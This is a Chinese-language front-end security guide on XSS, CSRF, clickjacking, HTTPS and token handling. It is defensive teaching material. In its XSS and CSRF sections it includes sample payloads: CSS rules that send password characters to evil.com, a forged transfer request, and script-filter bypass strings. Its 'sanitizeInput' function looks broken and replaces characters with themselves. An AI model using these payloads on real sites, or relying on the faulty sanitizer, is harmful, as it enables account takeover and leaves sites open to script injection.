前端安全实践指南
一、前端安全威胁全景
前端作为用户与系统交互的第一道防线,面临着多样化的安全威胁。理解这些威胁的机制和危害,是制定有效防御策略的前提。
1.1 安全威胁一览
| 威胁类型 | 攻击原理 | 主要危害 | 影响面 |
|---|---|---|---|
| XSS 跨站脚本攻击 | 注入恶意脚本到页面中执行 | Cookie 窃取、页面篡改、键盘记录 | 所有用户 |
| CSRF 跨站请求伪造 | 利用用户已登录身份发起恶意请求 | 修改密码、转账、数据篡改 | 已登录用户 |
| 点击劫持 | 通过透明 iframe 诱导用户点击 | 授权操作、发布内容 | 所有用户 |
| 中间人攻击 MITM | 拦截并篡改通信数据 | 数据泄露、内容篡改 | 特定网络环境用户 |
| 敏感信息泄露 | 前端代码/存储/日志中的敏感数据暴露 | 密钥泄露、Token 被盗 | 全局性 |
| 依赖供应链攻击 | 恶意第三方包执行恶意代码 | 数据窃取、权限控制丧失 | 项目本身 |
| CORS 配置不当 | 过宽跨域策略导致数据被窃取 | API 被第三方页面调用 | API 级 |
| 原型污染 | 修改 JS 对象原型链属性 | 绕过校验、执行恶意逻辑 | 应用级 |
1.2 安全模型:纵深防御
前端安全无法依赖单一措施,需要构建多层防御体系:
用户输入
│
├── 输入过滤层 ← 白名单校验、格式检查
├── 渲染防护层 ← 框架自动转义、DOMPurify 净化
├── HTTP 安全层 ← CSP、X-Frame-Options、HSTS
├── 传输安全层 ← HTTPS、证书验证
├── 存储安全层 ← 环境变量、Token 安全存储
└── 依赖安全层 ← npm audit、lockfile 锁定
核心原则:永远不要信任用户输入,永远不要信任后端数据,永远不要依赖前端做安全决策。
二、XSS 跨站脚本攻击
2.1 XSS 分类与原理
| 类型 | 攻击方式 | 特点 | 常见场景 |
|---|---|---|---|
| 反射型 | 恶意脚本通过 URL 参数传入,服务端未过滤直接返回 | 一次性,需要用户点击恶意链接 | 搜索关键词、错误提示 |
| 存储型 | 恶意脚本存储在服务端,所有访问者都会触发 | 持久性,影响范围广,危害最大 | 评论区、用户昵称、富文本内容 |
| DOM 型 | 通过客户端 JS 动态修改 DOM 时注入 | 纯客户端,不经过服务端 | innerHTML、document.write、eval |
2.2 框架自动转义机制
Vue 3 的自动转义
Vue 模板默认对所有插值表达式进行 HTML 转义,将 <, >, ", ', & 等特殊字符转换为实体编码。
<!-- 安全:Vue 自动转义,不会执行脚本 -->
<div>{{ userInput }}</div>
<!-- 危险:v-html 会跳过转义,直接渲染 HTML -->
<div v-html="userInput"></div>
React 的自动转义
React 默认对所有 JSX 插值进行转义,在渲染前将内容转换为字符串。
{/* 安全:React 自动转义,不会执行脚本 */}
<div>{userInput}</div>
{/* 危险:dangerouslySetInnerHTML 会跳过转义 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} />
框架安全特性对比
| 特性 | Vue 3 | React | 说明 |
|---|---|---|---|
| 默认插值 | 自动转义({{ }}) |
自动转义({}) |
两者一致 |
| HTML 渲染 | v-html |
dangerouslySetInnerHTML |
命名都带有警示性 |
| 属性绑定 | 自动转义 | 自动转义 | 两者一致 |
| URL 绑定 | 不自动过滤 javascript: |
不自动过滤 javascript: |
需手动校验 |
| 样式绑定 | 不校验 CSS 注入 | 不校验 CSS 注入 | 需手动校验 |
注意:框架的自动转义仅保护模板插值,不保护
v-html/dangerouslySetInnerHTML、属性绑定中的javascript:协议、CSS 中的表达式注入。
2.3 v-html / dangerouslySetInnerHTML 的安全使用
✅ 正确做法:使用 DOMPurify 净化 HTML
Vue 3 + DOMPurify
<script setup lang="ts">
import { computed } from 'vue'
import DOMPurify from 'dompurify'
import { getArticleApi } from '@/api/article'
const props = defineProps<{ articleId: number }>()
// 永远不要信任后端返回的 HTML 内容
const article = ref<{ content: string } | null>(null)
const loading = ref(false)
// 使用 DOMPurify 过滤后再渲染
const safeContent = computed(() => {
if (!article.value?.content) return ''
return DOMPurify.sanitize(article.value.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'class'],
ALLOW_DATA_ATTR: false,
})
})
async function fetchArticle() {
loading.value = true
try {
const res = await getArticleApi(props.articleId)
article.value = res.data ?? null
} catch {
article.value = null
} finally {
loading.value = false
}
}
fetchArticle()
</script>
<template>
<div v-loading="loading">
<!-- 即使经过 DOMPurify 净化,仍需注意内容安全 -->
<div v-if="safeContent" v-html="safeContent" />
<ElEmpty v-else description="暂无内容" />
</div>
</template>
React + DOMPurify
import { useState, useEffect, useMemo } from 'react'
import DOMPurify from 'dompurify'
import { getArticleApi } from '@/api/article'
interface Props {
articleId: number
}
export function ArticleContent({ articleId }: Props) {
const [article, setArticle] = useState<{ content: string } | null>(null)
const [loading, setLoading] = useState(false)
// 防御式编程:DOMPurify.sanitize 本身也可能返回空字符串
const safeContent = useMemo(() => {
if (!article?.content) return ''
return DOMPurify.sanitize(article.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'class'],
ALLOW_DATA_ATTR: false,
})
}, [article])
useEffect(() => {
async function fetchArticle() {
setLoading(true)
try {
const res = await getArticleApi(articleId)
setArticle(res.data ?? null)
} catch {
setArticle(null)
} finally {
setLoading(false)
}
}
fetchArticle()
}, [articleId])
if (loading) return <Spin />
return (
<div>
{safeContent ? (
<div dangerouslySetInnerHTML={{ __html: safeContent }} />
) : (
<Empty description="暂无内容" />
)}
</div>
)
}
DOMPurify 配置说明
| 配置项 | 作用 | 推荐值 |
|---|---|---|
ALLOWED_TAGS |
允许的 HTML 标签白名单 | 仅允许安全的文本格式化标签 |
ALLOWED_ATTR |
允许的 HTML 属性白名单 | 避免 style、on* 事件属性 |
ALLOW_DATA_ATTR |
是否允许 data-* 属性 |
false |
ALLOWED_URI_REGEXP |
URI 协议白名单 | 仅允许 http/https/mailto |
ADD_TAGS |
额外允许的自定义标签 | 按需添加 |
2.4 ⚠️ 容易被忽略的 XSS 攻击面
URL 协议注入
即使框架做了属性转义,javascript: 协议仍可能被注入:
// ❌ 危险:攻击者可构造 javascript:alert(1)
const link = ref('javascript:alert(1)')
// ✅ 安全:白名单校验协议
function isSafeUrl(url: string): boolean {
const allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:']
try {
const parsed = new URL(url)
return allowedProtocols.includes(parsed.protocol)
} catch {
return false // 非法 URL 视为不安全
}
}
const safeLink = computed(() => {
return isSafeUrl(link.value) ? link.value : 'about:blank'
})
// React 版本
function isSafeUrl(url: string): boolean {
const allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:']
try {
const parsed = new URL(url)
return allowedProtocols.includes(parsed.protocol)
} catch {
return false
}
}
function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
const safeHref = isSafeUrl(href) ? href : 'about:blank'
return <a href={safeHref} rel="noopener noreferrer">{children}</a>
}
CSS 注入
/* 恶意 CSS:可以通过 CSS 属性窃取数据 */
input[type="password"][value^="a"] { background: url(https://evil.com/steal?char=a); }
input[type="password"][value^="b"] { background: url(https://evil.com/steal?char=b); }
防御策略:永远不允许用户控制的 CSS 直接注入到页面中。使用 CSS-in-JS 或 CSS Modules 隔离样式作用域。
JSONP 接口
// ❌ 危险:JSONP 回调函数名可能被注入
function fetchUser(callbackName: string) {
const script = document.createElement('script')
script.src = `https://api.example.com/user?callback=${callbackName}`
document.body.appendChild(script)
}
// ✅ 安全:只允许预定义的回调函数名
const SAFE_CALLBACKS = ['handleUserData', 'handleError'] as const
type SafeCallback = typeof SAFE_CALLBACKS[number]
function fetchUserSafe(callback: SafeCallback) {
if (!SAFE_CALLBACKS.includes(callback)) {
console.error('不合法的回调函数名')
return
}
// ...
}
2.5 XSS 攻击面对比与防御策略
| 攻击面 | 风险等级 | 框架保护? | 防御措施 |
|---|---|---|---|
{{ }} / {} 插值 |
低 | 自动转义 | 无额外操作 |
v-html / dangerouslySetInnerHTML |
高 | 不保护 | DOMPurify 净化 |
v-bind:href / href={} |
中 | 不保护 javascript: |
URL 协议白名单 |
v-bind:style / style={{}} |
中 | 不保护 CSS 注入 | 不使用用户输入样式 |
eval() / setTimeout(string) |
极高 | 不保护 | 禁止使用 |
innerHTML / outerHTML |
高 | 不保护 | 替换为框架 DOM API |
document.write() |
高 | 不保护 | 禁止使用 |
location.hash / location.search |
中 | 不保护 | 解析后校验,不直接渲染 |
2.6 Content Security Policy (CSP)
CSP 是通过 HTTP 响应头或 <meta> 标签定义的浏览器安全策略,是 XSS 防御的最后一道防线。
CSP 指令配置
# 严格 CSP 配置(推荐)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' data:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'none';
form-action 'self';
各指令说明
| 指令 | 作用 | 配置示例 |
|---|---|---|
default-src |
所有资源类型的默认策略 | 'self' |
script-src |
允许加载脚本的来源 | 'self' 'nonce-{random}' |
style-src |
允许加载样式的来源 | 'self' 'unsafe-inline' |
img-src |
允许加载图片的来源 | 'self' data: https: |
connect-src |
允许 XHR/Fetch 的 URL | 'self' https://api.example.com |
frame-ancestors |
允许被哪些页面嵌套(防点击劫持) | 'none' |
base-uri |
限制 <base> 标签的 URL |
'none' |
form-action |
限制表单提交的目标 URL | 'self' |
report-uri / report-to |
违规上报 URL | /csp-report |
CSP 非脚本放行
// Vue 3:使用 nonce 配合 CSP
// 服务端生成随机 nonce 值,注入到 HTML 模板中
// <script nonce="random123"> ... </script>
// 内联事件处理器会被 CSP 拦截,必须迁移到 addEventListener
// ❌ 不兼容 CSP:<button onclick="handleClick()">
// ✅ 兼容 CSP:<button @click="handleClick">
// React:同样依赖 CSP nonce
// Next.js 内置支持 CSP nonce 注入
// Gatsby 也支持通过插件配置 CSP
CSP 策略对比
| 策略 | 安全性 | 开发便利性 | 推荐场景 |
|---|---|---|---|
strict (nonce + strict-dynamic) |
高 | 中等 | 生产环境推荐 |
unsafe-inline |
低 | 高 | 开发环境 |
report-only |
不拦截 | 高 | 灰度验证阶段 |
| 无 CSP | 最低 | 最高 | 不推荐 |
CSP 配置要点:
- 先使用
Content-Security-Policy-Report-Only模式观察违规日志,确认无误后再切换到强制执行模式- 使用
'strict-dynamic'替代宽泛的域名白名单,安全性更高- 避免使用
'unsafe-inline'在生产环境
2.7 输入过滤与输出编码
✅ 推荐实践
// 工具函数:统一输入过滤
export function sanitizeInput(input: string): string {
return input
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/')
}
// 工具函数:HTML 编码
export function encodeHtml(str: string): string {
const div = document.createElement('div')
div.textContent = str
return div.innerHTML
}
// 工具函数:URL 安全校验
export function isValidUrl(str: string): boolean {
try {
const url = new URL(str)
return ['http:', 'https:'].includes(url.protocol)
} catch {
return false
}
}
❌ 常见错误做法
// ❌ 使用黑名单过滤,容易被绕过
function filterXSS(input: string) {
return input.replace(/<script>/gi, '') // 可以绕过:<ScRiPt>
// 攻击者可构造:
// <ScRiPt>alert(1)</ScRiPt> — 大小写绕过
// <img src=x onerror=alert(1)> — 事件属性绕过
// <a href="javascript:alert(1)"> — 协议绕过
}
// ✅ 应该使用白名单或成熟的库
// npm install dompurify
// ❌ 手动拼接 URL 参数
const url = `https://api.example.com/search?q=${userInput}` // 注入风险
// ✅ 使用 URLSearchParams
const params = new URLSearchParams({ q: userInput })
const safeUrl = `https://api.example.com/search?${params}`
XSS 防御验证清单
| 防御层级 | 措施 | 效果 |
|---|---|---|
| 框架层 | 使用模板自动转义 | 阻止绝大多数反射型 XSS |
| 内容层 | DOMPurify 净化 HTML | 阻止存储型 XSS |
| 网络层 | CSP 策略 | 兜底拦截未被过滤的恶意脚本 |
| 输入层 | 白名单输入校验 | 在入口拦截恶意数据 |
| 输出层 | 上下文感知编码 | 按 HTML/JS/CSS/URL 不同上下文编码 |
三、CSRF 跨站请求伪造
3.1 CSRF 攻击原理
CSRF 利用浏览器的 Cookie 自动发送机制:当用户已登录网站 A,攻击者诱导用户访问恶意网站 B,B 中的请求会自动携带 A 的 Cookie,从而以用户身份执行操作。
用户登录 bank.com → 获得会话 Cookie
↓
用户访问 evil.com → 页面中隐藏的 <img src="bank.com/transfer?to=attacker&amount=1000">
↓
浏览器自动携带 bank.com 的 Cookie → 服务端验证通过 → 转账成功
3.2 CSRF 防御方案对比
| 方案 | 防御原理 | 实现复杂度 | 安全性 | 适用场景 |
|---|---|---|---|---|
| SameSite Cookie | 浏览器控制 Cookie 跨站发送 | 低(仅需配置属性) | 高 | 全场景推荐 |
| CSRF Token | 服务端签发随机 Token 校验 | 中(需前后端配合) | 高 | 支付等敏感操作 |
| 双重提交 Cookie | Cookie 与请求头携带的值比对 | 中 | 中 | 简单防护 |
| Referer/Origin 校验 | 校验请求来源 | 低 | 低 | 辅助手段 |
| 验证码 | 用户交互确认 | 低 | 极高 | 转账、删除等敏感操作 |
3.3 SameSite Cookie 配置
SameSite 是浏览器最直接的 CSRF 防御手段,由 Set-Cookie 响应头控制。
Cookie 配置对比
| SameSite 值 | 跨站请求是否携带 | 安全性 | 对第三方登录的影响 |
|---|---|---|---|
Strict |
从不携带 | 最高 | 支付回调、OAuth 登录可能失败 |
Lax |
GET 请求携带,POST 不携带 | 高 | 大部分场景正常,少数 POST 回调受限 |
None |
所有请求都携带(需配合 Secure) | 最低 | 无影响 |
# 推荐配置:Lax 作为默认值
Set-Cookie: session_token=abc123; HttpOnly; Secure; SameSite=Lax
# 敏感操作使用 Strict
Set-Cookie: csrf_token=xyz789; HttpOnly; Secure; SameSite=Strict; Path=/api/transfer
# 第三方登录必须使用 None(仅在必要时)
Set-Cookie: oauth_state=abc; HttpOnly; Secure; SameSite=None
3.4 CSRF Token 机制
前端需要在每个请求中携带后端下发的 CSRF Token。
Vue 3 + axios CSRF Token 配置
// src/api/request.ts
import axios from 'axios'
import type { InternalAxiosRequestConfig } from 'axios'
const request = axios.create({
baseURL: import.meta.env.VITE_API_BASE_URL,
timeout: 10000,
withCredentials: true, // 跨站请求携带 Cookie
})
// 从 Cookie 中读取 CSRF Token(由后端设置)
function getCsrfToken(): string {
const match = document.cookie.match(/(?:^|;\s*)XSRF-TOKEN=([^;]*)/)
return match ? decodeURIComponent(match[1]) : ''
}
request.interceptors.request.use(
(config: InternalAxiosRequestConfig) => {
// 自动注入 CSRF Token 到请求头
const csrfToken = getCsrfToken()
if (csrfToken) {
config.headers['X-XSRF-TOKEN'] = csrfToken
}
return config
},
(error) => Promise.reject(error),
)
export default request
React + axios CSRF Token 配置
// src/api/request.ts(React 项目,与 Vue 完全相同的实现)
import axios from 'axios'
import type { InternalAxiosRequestConfig } from 'axios'
const request = axios.create({
baseURL: import.meta.env.VITE_API_BASE_URL,
timeout: 10000,
withCredentials: true,
})
function getCsrfToken(): string {
const match = document.cookie.match(/(?:^|;\s*)XSRF-TOKEN=([^;]*)/)
return match ? decodeURIComponent(match[1]) : ''
}
request.interceptors.request.use(
(config: InternalAxiosRequestConfig) => {
const csrfToken = getCsrfToken()
if (csrfToken) {
config.headers['X-XSRF-TOKEN'] = csrfToken
}
return config
},
(error) => Promise.reject(error),
)
export default request
3.5 前端 CSRF 配合 checklist
| 检查项 | 操作 |
|---|---|
| Cookie 配置 | 确认后端设置了 SameSite=Lax 或 SameSite=Strict |
| CSRF Token 注入 | 确认请求拦截器自动注入了 X-XSRF-TOKEN |
| 敏感操作二次确认 | 删除、转账等操作增加验证码或弹窗确认 |
| 自定义请求头 | 为 API 请求添加自定义请求头(浏览器会先发 OPTIONS 预检) |
| 退出登录清除 Token | 登出时清除本地存储的登录状态 |
3.6 ⚠️ 踩坑点
-
SameSite=None 兼容性问题:部分旧浏览器(Safari 12、iOS 12)不支持
SameSite=None,可能导致 Cookie 完全不被设置。解决方案:User-Agent 检测降级。 -
CSRF Token 泄露:Token 放在 Cookie 中需设置
HttpOnly,防止 XSS 读取。如果 Token 在 URL 参数中传递,会在 Referer 中泄露。 -
双重提交 Cookie 的安全隐患:子域名可覆盖父域 Cookie,导致 Token 被篡改。使用
__Host-前缀的 Cookie 可限制路径和域。 -
API 兼容性问题:后端迁移时,旧接口可能未实现 CSRF 防护。建议统一网关层处理,而非每个接口单独实现。
四、点击劫持防御
4.1 攻击原理
攻击者通过 iframe 透明嵌套目标页面,诱导用户点击伪装后的按钮,实际触发的是目标页面中的操作。
用户看到的页面:
┌──────────────────────┐
│ "点击领取优惠券" │ ← 攻击者伪造的按钮
└──────────────────────┘
实际目标页面(透明 iframe):
┌──────────────────────┐
│ "一键删除所有数据" │ ← 真正触发的操作
│ [确认删除] │
└──────────────────────┘
4.2 防御方案对比
| 方案 | 实现方式 | 兼容性 | 推荐度 |
|---|---|---|---|
| X-Frame-Options | HTTP 响应头 | 所有浏览器 | 推荐(基础防御) |
| frame-ancestors CSP | CSP 指令 | 现代浏览器 | 推荐(更灵活) |
| JS 反嵌套 (frame busting) | 前端 JS 判断 | 可能被绕过 | 辅助手段 |
4.3 X-Frame-Options 配置
# 禁止所有 iframe 嵌套
add_header X-Frame-Options "DENY";
# 仅允许同源嵌套
add_header X-Frame-Options "SAMEORIGIN";
| 值 | 效果 | 适用场景 |
|---|---|---|
DENY |
禁止任何页面嵌套 | 支付页面、敏感操作页 |
SAMEORIGIN |
仅允许同源页面嵌套 | 普通管理后台 |
ALLOW-FROM uri |
仅允许指定 URI 嵌套 | 已废弃,不推荐使用 |
4.4 frame-ancestors CSP 指令
# 同时使用 X-Frame-Options 和 CSP(双重保护)
Content-Security-Policy: frame-ancestors 'none';
X-Frame-Options: DENY
# 允许同源嵌套
Content-Security-Policy: frame-ancestors 'self';
# 允许特定域名嵌套
Content-Security-Policy: frame-ancestors 'self' https://trusted-app.com;
前端反嵌套检测(辅助手段)
// ✅ 辅助防御:前端检测是否被嵌套
// 注意:此方法可被绕过(例如 sandbox 属性),仅作为辅助手段
export function preventClickjacking() {
if (window.self !== window.top) {
// 被 iframe 嵌套时跳转
window.top.location.href = window.self.location.href
}
}
// 在应用入口调用
preventClickjacking()
4.5 ⚠️ 踩坑点
-
X-Frame-Options 与 CSP 冲突:同时设置时,浏览器优先采用 CSP 的
frame-ancestors。建议两者都设置,老浏览器用 X-Frame-Options 兜底。 -
iframe 嵌套的合法场景:第三方支付回调、仪表盘嵌入等场景需要允许嵌套,此时使用
SAMEORIGIN或 CSP 白名单。 -
sandbox 属性绕过:攻击者可使用
<iframe sandbox="allow-scripts">绕过前端 JS 反嵌套检测,因此不能仅依赖 JS 检测。
五、HTTPS 与传输安全
5.1 HTTPS 的必要性
| 防护能力 | 说明 |
|---|---|
| 加密传输 | 防止中间人窃听通信内容 |
| 完整性校验 | 防止中间人篡改通信数据 |
| 身份验证 | 验证服务端身份,防止 DNS 劫持 |
| 保护 Referer | HTTPS 页面引用 HTTP 资源时不发送 Referer |
5.2 强制 HTTPS 跳转
Nginx 配置
server {
listen 80;
server_name example.com;
# 强制跳转到 HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /etc/nginx/certs/fullchain.pem;
ssl_certificate_key /etc/nginx/certs/privkey.pem;
# 现代 TLS 配置
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
}
前端配置
// 开发环境配置:强制 HTTPS
// Vite
// vite.config.ts
import { defineConfig } from 'vite'
export default defineConfig({
server: {
https: true, // 使用自签名证书
// 或指定自定义证书:
// https: {
// key: fs.readFileSync('./localhost-key.pem'),
// cert: fs.readFileSync('./localhost.pem'),
// },
},
})
5.3 HSTS 配置
HSTS 告诉浏览器:从此以后,只能通过 HTTPS 访问本域名,自动将 HTTP 请求替换为 HTTPS,杜绝 SSL Stripping 攻击。
# 推荐 HSTS 配置
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# 参数说明
# max-age=31536000 → 1 年内强制 HTTPS
# includeSubDomains → 子域名也强制 HTTPS
# preload → 申请加入浏览器 HSTS Preload List
HSTS Preload
申请加入浏览器内置的 HSTS Preload List 后,即使用户从未访问过该网站,浏览器也会强制使用 HTTPS。
| HSTS 参数 | 说明 | 风险 |
|---|---|---|
max-age |
强制 HTTPS 时长 | 设置过短效果差,过长无法快速回退 |
includeSubDomains |
覆盖所有子域名 | 子域名必须支持 HTTPS,否则不可访问 |
preload |
浏览器内置列表 | 一旦加入难以移除,需提前做好全站 HTTPS |
HSTS 配置注意事项:
- 先使用较短
max-age(如 5 分钟)验证配置正确性- 确认所有子域名都支持 HTTPS 后再开启
includeSubDomains- HSTS
max-age设置后,除非等待过期,无法通过 HTTP 访问
5.4 前端证书验证
// axios 配置:检查 HTTPS 证书
import axios from 'axios'
// 在浏览器端 axios 使用浏览器的证书验证机制,无需额外配置
// 但需要注意以下几点:
// 1. 开发环境避免禁用证书验证
// ❌ 不要这样做 — 会导致生产环境也跳过验证
// process.env.NODE_ENV === 'development' && (axios.defaults.httpsAgent = ...)
// 2. 生产环境不要忽略证书错误
// ❌ 危险:关闭证书校验
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'
5.5 ⚠️ 踩坑点
-
混合内容(Mixed Content):HTTPS 页面中加载 HTTP 资源(图片、脚本),浏览器会阻止。解决方案:使用协议相对 URL
//cdn.example.com/image.png或全 HTTPS CDN。 -
SSL/TLS 证书过期:证书过期前需及时更新,建议设置自动续期(如 Let's Encrypt + Certbot)和到期前告警。
-
SSL Stripping 攻击:如果用户首次访问时通过 HTTP,攻击者可拦截 301 跳转。HSTS 可解决此问题,但首次访问仍有窗口。解决方案:加入 HSTS Preload List。
-
开发环境 HTTPS 问题:自签名证书在浏览器中会被拦截。解决方案:使用
mkcert生成本地受信任的开发证书。
六、敏感信息保护
6.1 前端无秘密原则
核心原则:前端代码运行在用户浏览器中,不可信任。任何在前端硬编码的密钥、Token、凭证都可能被用户提取。
❌ 常见错误做法
// ❌ 危险:硬编码 API Key
const API_KEY = 'sk-xxxxxxxxxxxxxxxxxxxx'
const api = new SomeService({ apiKey: API_KEY })
// ❌ 危险:前端存储数据库密码
const DB_CONFIG = {
host: 'db.example.com',
user: 'admin',
password: 'password123',
}
// ❌ 危险:前端鉴权逻辑
function checkPermission(role: string): boolean {
const secret = 'admin-secret-2024'
return role === secret
}
✅ 正确做法
// ✅ 通过后端 BFF 代理,前端不直接接触密钥
// src/api/service.ts
import request from './request'
// 前端只调用自己的后端接口
async function callExternalApi(data: unknown) {
// 密钥由后端管理,前端不感知
const res = await request.post('/bff/external-api', data)
return res.data
}
// ✅ 密钥放在环境变量中(仅供构建时使用,不暴露给客户端)
// .env(仅服务端使用的密钥,不会被注入到客户端代码)
// VITE_ 前缀的变量才会被注入到客户端
// VITE_API_BASE_URL=/api ← 安全,仅包含 URL
// API_SECRET=sk-xxxxxxxxxxxx ← 安全,仅在服务端使用,不注入客户端
6.2 .env 环境变量管理
| 变量前缀 | 是否注入前端 | 使用场景 |
|---|---|---|
VITE_(Vite)/ REACT_APP_(CRA) |
是 | 前端可公开的配置 |
无前缀(Vite)/ 非 REACT_APP_ |
否 | 服务端密钥 |
# .env(所有环境共享)
VITE_APP_TITLE=前端安全实践
VITE_API_BASE_URL=/api
# .env.development
VITE_API_BASE_URL=http://localhost:3000/api
VITE_ENABLE_MOCK=true
# .env.production
VITE_API_BASE_URL=https://api.example.com
VITE_ENABLE_MOCK=false
# 注意:以下内容即使写在 .env 文件中,也不会被注入到前端
# 它们仅在服务端构建脚本中可用
DB_PASSWORD=xxxx
JWT_SECRET=yyyy
6.3 Token 安全存储
| 存储方式 | 安全性 | 可被 XSS 读取 | 跨标签页 | 适用场景 |
|---|---|---|---|---|
| httpOnly Cookie | 最高 | 否 | 是 | 推荐用于主 Token |
| Memory (变量) | 高 | 否(需代码注入) | 否 | 短期 Token |
| sessionStorage | 中 | 是(XSS 可读取) | 否 | 不推荐存储 Token |
| localStorage | 中 | 是(XSS 可读取) | 是 | 不推荐存储 Token |
| URL 参数 | 最低 | 是(Referer 泄露) | 否 | 绝对禁止 |
✅ 推荐方案:httpOnly Cookie + 刷新 Token 机制
// 方案一:后端设置 httpOnly Cookie(推荐)
// 前端完全不需要关心 Token 存储,Cookie 由浏览器自动管理
// 后端在响应头中设置:
// Set-Cookie: access_token=xxx; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
// Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800
// 方案二:内存存储(退化方案,当无法使用 httpOnly Cookie 时)
// src/stores/auth.ts
import { defineStore } from 'pinia'
import { ref } from 'vue'
export const useAuthStore = defineStore('auth', () => {
// Token 保存在内存 Ref 中,页面刷新即丢失
// 由父页面通过 postMessage 或初始 API 注入
const accessToken = ref<string | null>(null)
const refreshToken = ref<string | null>(null)
function setTokens(access: string, refresh: string) {
accessToken.value = access
refreshToken.value = refresh
}
function clearTokens() {
accessToken.value = null
refreshToken.value = null
}
return { accessToken, refreshToken, setTokens, clearTokens }
})
// React 版本
import { create } from 'zustand'
interface AuthState {
accessToken: string | null
refreshToken: string | null
setTokens: (access: string, refresh: string) => void
clearTokens: () => void
}
export const useAuthStore = create<AuthState>((set) => ({
accessToken: null,
refreshToken: null,
setTokens: (access, refresh) => set({ accessToken: access, refreshToken: refresh }),
clearTokens: () => set({ accessToken: null, refreshToken: null }),
}))
❌ 危险做法
// ❌ 危险:Token 放在 localStorage
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIs...')
// XSS 攻击者可执行:
// localStorage.getItem('token') → 获取用户 Token
// 然后利用此 Token 冒充用户操作
// ❌ 危险:Token 放在 URL 查询参数
window.location.href = `/dashboard?token=${token}`
// Token 会出现在:
// - 浏览器历史记录
// - Referer 头
// - 服务端日志
// - 可能被书签收藏
6.4 日志脱敏
✅ 正确做法:不在控制台打印敏感数据
// ✅ 安全:生产环境禁用 console.log
// src/utils/logger.ts
const LOG_LEVELS = ['debug', 'info', 'warn', 'error'] as const
type LogLevel = typeof LOG_LEVELS[number]
// 定义需要脱敏的字段列表
const SENSITIVE_KEYS = ['password', 'token', 'secret', 'authorization', 'cookie']
function maskSensitive(obj: Record<string, unknown>): Record<string, unknown> {
const result: Record<string, unknown> = {}
for (const [key, value] of Object.entries(obj)) {
if (SENSITIVE_KEYS.some((k) => key.toLowerCase().includes(k))) {
result[key] = '***MASKED***'
} else if (value && typeof value === 'object') {
result[key] = maskSensitive(value as Record<string, unknown>)
} else {
result[key] = value
}
}
return result
}
class Logger {
private isProduction = import.meta.env.PROD
private shouldLog(level: LogLevel): boolean {
if (this.isProduction) {
return level === 'error' || level === 'warn'
}
return true
}
info(message: string, data?: Record<string, unknown>) {
if (!this.shouldLog('info')) return
console.info(message, data ? maskSensitive(data) : '')
}
error(message: string, error?: unknown) {
// 错误日志总是输出,但要脱敏
if (error instanceof Error) {
console.error(message, {
name: error.name,
message: error.message,
// ❌ 不要在日志中包含敏感数据
// stack: error.stack, // 堆栈可能包含 Token、密码等
})
} else {
console.error(message, error)
}
}
// ❌ 禁止在控制台打印完整 API 响应
// debugResponse(response: any) {
// console.log('API Response:', response) // 可能包含 Token
// }
}
export const logger = new Logger()
❌ 需要避免的做法
// ❌ 危险:调试时打印 Token
console.log('Login success, token:', token)
// ❌ 危险:打印完整请求/响应
axios.interceptors.response.use((res) => {
console.log('API:', res.config.url, res.data) // 响应可能包含敏感数据
return res
})
// ❌ 危险:API 错误时打印全量数据
try {
await api.someRequest()
} catch (err) {
console.error('Request failed:', err) // 错误对象可能包含请求体
}
// ✅ 应该这样做
try {
await api.someRequest()
} catch (err) {
logger.error('Request failed,错误码: xxx', err)
// 或上报到 Sentry,但注意脱敏配置
}
6.5 敏感信息保护检查清单
| 检查项 | 禁止 | 推荐 |
|---|---|---|
| API Key | 硬编码在代码中 | BFF 代理,服务端管理 |
| Token | localStorage / sessionStorage | httpOnly Cookie |
| 密码 | 前端存储、明文传输 | 始终 HTTPS,后端哈希处理 |
| 日志 | console.log 打印全量数据 | 日志脱敏、只输出必要信息 |
| 错误信息 | 将后端错误堆栈暴露给用户 | 统一错误提示 |
| URL 参数 | Token 放在 URL 中 | 使用 Header 传递 |
七、依赖安全
7.1 npm 依赖安全风险
| 风险类型 | 示例 | 危害 |
|---|---|---|
| 恶意包 | event-stream 事件 |
植入后门窃取比特币钱包 |
| 已知漏洞 | lodash 原型污染 |
应用级安全漏洞 |
| 依赖混淆 | 内网包名与公开包名冲突 | 执行攻击者代码 |
| 过时依赖 | 不再维护的库 | 已知漏洞不修复 |
| 传递依赖 | 间接依赖的漏洞 | 难以追踪和管理 |
7.2 npm audit 定期扫描
# 扫描依赖漏洞
npm audit
# 查看详细信息
npm audit --json
# 自动修复(可能需手动验证)
npm audit fix
# 只修复补丁版本
npm audit fix --patch
# 生产环境扫描(只关注运行时依赖)
npm audit --production
# pnpm 版本
pnpm audit
集成到 CI/CD
# .github/workflows/security.yml
name: Security Scan
on:
push:
branches: [main, develop]
schedule:
- cron: '0 8 * * 1' # 每周一早上 8 点
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci
- run: npx better-npm-audit audit --level=high
- name: Upload audit report
if: failure()
uses: actions/upload-artifact@v4
with:
name: npm-audit-report
path: npm-audit.json
7.3 Dependabot / Renovate 自动更新
Dependabot GitHub 配置
# .github/dependabot.yml
